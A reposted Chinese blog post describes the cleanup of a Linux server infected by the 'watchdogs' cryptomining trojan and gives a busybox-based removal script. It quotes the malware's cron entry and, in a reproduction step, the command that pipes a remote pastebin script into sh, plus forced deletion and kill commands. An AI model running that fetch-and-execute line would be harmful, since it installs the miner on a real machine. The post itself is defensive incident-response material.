转自 https://juejin.im/post/5aa0cc476fb9a028d82b5695

最近打开服务变得很慢,然后 CPU,内存占用有达到了100%,打开网站都很慢,这个肯定很反常的,平时cpu不会达到那么高,因此netstat -ntlp 准备看看端口占用是不是有什么异常,有的会看到cpu暂用情况,有的不会显示,因为木马屏蔽掉了相关的命令。
好了,不死心。然后我看下定时任务,crontab -l
emmmm,

  1. */15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh

这个任务我记得我没有添加定时任务啊,还15分钟执行一次,我的天。
然后我就打算删掉这个定时任务,无论是 crontab -r 还是执行修改定时任务配置文件,都无法删掉这个定时任务

然后网上查下。

直观表现
  • top, ps -ef 无异常进程
  • load average 稳步飙升
  • netstat 命令被删除
  • 尝试建立大量22端口, 6379端口的内网连接
  • crontab 被添加定时挖矿脚本, 删除无效

传播途径
  • jenkins漏洞(or 弱密码?)侵入
  • 尝试root用户ssh的免密登录
  • 尝试redis内网登录

en,想起前两天jenkins 升级了软件,后来就很卡了系统。

准备过程
获取busybox

因感染病毒后, ls等系统命令会被劫持, 需要busybox替代这些系统命令, 下面提供从busybox官方docker镜像中提取的静态编译版busybox过程.

  1. docker run --rm -itv /tmp/:/tmp busybox:uclibc
  2. cp /bin/busybox /tmp
  3. exit

宿主机即获取到: /tmp/busybox

复现感染过程(docker环境被root感染模式)
docker与虚拟机环境有区别, 病毒行为会受限

  1. docker run --rm -it -v /tmp:/tmp centos:latest
  2. yum install -y crontabs lsof e2fsprogs
  3. (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
使用busybox代替系统命令
  1. busybox top, busybox ps -ef

此busybox为静态编译版, 不依赖so库, 系统的ls等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令.

发现比系统命令多两个进程(进程个数跟cpu核数有关), 耗尽了所有cpu资源

  1. /tmp/ksoftirqds
  2. /tmp/watchdogs

查杀过程(系统命令已不可信, 操作优先采用busybox)

关闭crontab
  1. systemctl stop crond
上传busybox
  1. chmod +x busybox && mv busybox /sbin/
写hosts, 屏蔽病毒脚本下载
  1. busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
删除,创建,并锁定 crontab相关文件
  1. busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root
  2. busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root
  3. busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
备份重要的crontab,然后删除cron.d目录的其他文件
  1. busybox rm -rf /etc/cron.d/*
检查并删除下面目录有异常文件
  1. busybox ls /etc/cron.daily
  2. busybox ls /etc/cron.hourly
  3. busybox ls /etc/cron.monthly
  4. busybox ls /etc/cron.weekly
删除病毒相关执行文件和启动脚本
  1. /busybox rm /sbin/watchdogs
  2. /busybox rm /usr/sbin/watchdogs
  3. /busybox rm /etc/init.d/watchdogs
  4. busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f
删除病毒进程
  1. busybox pkill watchdogs
  2. busybox pkill ksoftirqds
  3. 删除被preload的so库
  4. busybox rm /usr/local/lib/libioset.so
  5. busybox rm /etc/ld.so.preload
  6. busybox rm /etc/ld.so.cache
  7. 验证libioset.so被卸载
  8. lsof |grep usr/local/lib/libioset.so

无输出, 则该动态链接库被卸载, 直接执行验证步骤;

有输出, kill掉占用的进程, 重复执行该步骤;

若反复执行后无法成功卸载该动态链接库, 请执行服务器重启操作.

重启服务器
验证步骤

  1. busybox top # 查看系统负载
  2. crontab -l # 查看是否还有异常任务
  3. busybox chattr -i /etc/cron.d/root # 过一段时间查看是否有异常任务写入

如果这种方式还是没清理掉

提供一份清理脚本:

  1. service crond stop
  2. busybox rm -f /etc/ld.so.preload
  3. busybox rm -f /usr/local/lib/libioset.so
  4. chattr -i /etc/ld.so.preload
  5. busybox rm -f /etc/ld.so.preload
  6. busybox rm -f /usr/local/lib/libioset.so
  7. # 清理异常进程
  8. busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
  9. busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
  10. busybox rm -f /tmp/watchdogs
  11. busybox rm -f /etc/cron.d/tomcat
  12. busybox rm -f /etc/cron.d/root
  13. busybox rm -f /var/spool/cron/root
  14. busybox rm -f /var/spool/cron/crontabs/root
  15. busybox rm -f /etc/rc.d/init.d/watchdogs
  16. busybox rm -f /usr/sbin/watchdogs
  17. ldconfig
  18. # 再次清理异常进程
  19. busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' | busybox xargs kill -9
  20. busybox ps -ef | busybox grep -v grep | busybox egrep 'watchdogs' | busybox awk '{print $1}' | busybox xargs kill -9
  21. # 清理开机启动项
  22. chkconfig watchdogs off
  23. chkconfig –del watchdogs
  24. service crond start
  25. echo "Done, Please reboot!"

转载于:https://www.cnblogs.com/rosepotato/p/10641207.html

服务器被植入挖矿木马的心酸过程相关推荐

  1. 云服务器被植入挖矿木马,CPU飙升200%处理方案

    云服务器被植入挖矿木马,CPU飙升200%处理方案 1,通过执行top命令,即可在返回结果中看到当时系统的CPU占用率. top -c 2.检查防火墙iptables规则中是否存在可疑端口 iptab ...

  2. 网页java挂挖矿_记一次服务器被植入挖矿脚本的解决过程

    记一次服务器被植入挖矿脚本的解决过程 删除挖矿脚本和对应的进程 找出并删除对应挖矿脚本文件 找出进程pid,并且kill掉 无法kill掉的是原进程的守护进程,原进程不在它也会自动关闭,所以不用管它 ...

  3. 云服务器被植入挖矿木马,CPU飙升200%

    原文链接:https://bbs.pediy.com/thread-268197.htm 本文为腾讯安全专家撰写的<挖矿木马自助清理手册>,可以为政企客户安全运维人员自助排查清理挖矿木马提 ...

  4. net start mysql 服务名无效_记一次服务器被植入挖矿木马cpu飙升200%解决过程

    来自:开源中国,作者:我叫刘半仙  链接:https://my.oschina.net/liughDevelop/blog/1786631 " 某日,正在午休中,突然一则噩耗从前线传来:网站 ...

  5. 第七十六期:糟糕!服务器被植入挖矿木马,CPU飙升200%

    某日,正在午休中,突然一则噩耗从前线传来:网站不能访问了! 作者:我叫刘半仙 某日,正在午休中,突然一则噩耗从前线传来:网站不能访问了! 图片来自 Pexels 此项目是我负责,线上服务器用的是某讯云 ...

  6. 糟糕!服务器被植入挖矿木马,CPU飙升200%

    此项目是我负责,线上服务器用的是某讯云的,运行着 Tomcat,MySQL,MongoDB,ActiveMQ 等程序. 排查过程 我以 150+ 的手速立即打开了服务器,看到 Tomcat 挂了,然后 ...

  7. 糟糕!服务器被植入挖矿木马,CPU 飙升200%。。。

    线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序.突然一则噩耗从前线传来:网站不能访问了! 此项目是我负责,我以150+的手速立即打开了服务器 ...

  8. ​服务器被植入挖矿木马如何处理

    Cpu占用率100%,负载状态也是运行阻塞,还收到电话阿里云那边的电话检测我到挖矿? 当时我就莫名其妙,我一个新手怎么还去搞区块链了 常规的Top命令是没法查看到cpu异常的 通过yum -y ins ...

  9. linux服务器被植入挖矿病毒后初步解决方案

    linux服务器被植入挖矿病毒是真让人无语,密码也被暴力破解,还时不时挖矿重启. 只能上网搜索,初步解决方案如下: 一.定位攻击服务器的ip 首先root,然后进~/.cache,使用netstat ...

最新文章

  1. Comprehensive Guide to build a Recommendation Engine from scratch (in Python) / 从0开始搭建推荐系统...
  2. /dev/null 文件
  3. ios 在UIView上画图,线条
  4. java form的时间格式_SpringMvc接收日期表单提交,自动转换成Date类型方法
  5. 计算机网络学习笔记-目录(更新日期:2020.4.8)
  6. linux检测硬件驱动,linux查看硬件信息及驱动设备相关整理
  7. spin协议 matlab 仿真,无线传感器总结复习资料02016学生
  8. 2018计算机二级c知识,2018全国计算机二级考试C语言常考知识点归纳
  9. mysql慢查询原因_mysql 慢查询的原因分析点滴
  10. SQL Server里的自旋锁介绍
  11. Android自定义ToolBar布局
  12. ASP.NET MVC3 Model验证总结
  13. 关于SQL的重复记录问题
  14. python while true_小疯谈python(十):程序的控制结构
  15. c语言程序设计实验第二版答案,C语言程序设计实验指导及习题答案
  16. QtCreator-----Kits选项选择
  17. 婚检、五金、求婚、领证的基本常识
  18. ORB-SLAM2(2) ROS下配置和编译
  19. C语言之数组按协议存储与按协议解析
  20. 五使用计算机上数学课英文,数学课用英语怎么说

热门文章

  1. snap学习之搭建lxc/lxd容器验证snap包
  2. 手机触摸pass测试软件,PaperPass手机版
  3. Mybatis注解开发出现Type interface Mapper.StudentMapper is not known to the MapperRegistry异常解决办法
  4. PHP心脏装置,“人工心脏”不再科幻 中山医院完成国产心室辅助装置植入
  5. 精力管理--分享感悟
  6. 苹果三代耳机_苹果准备三款AirPods耳机:Pro取消耳机柄、AirPods3改入耳式设计
  7. 关于开源软件名字的由来
  8. 18 | 安全标准和框架:怎样依“葫芦”画出好“瓢”?
  9. IC卡,ID卡,M1卡,射频卡
  10. [综述] 细粒度图像分析2019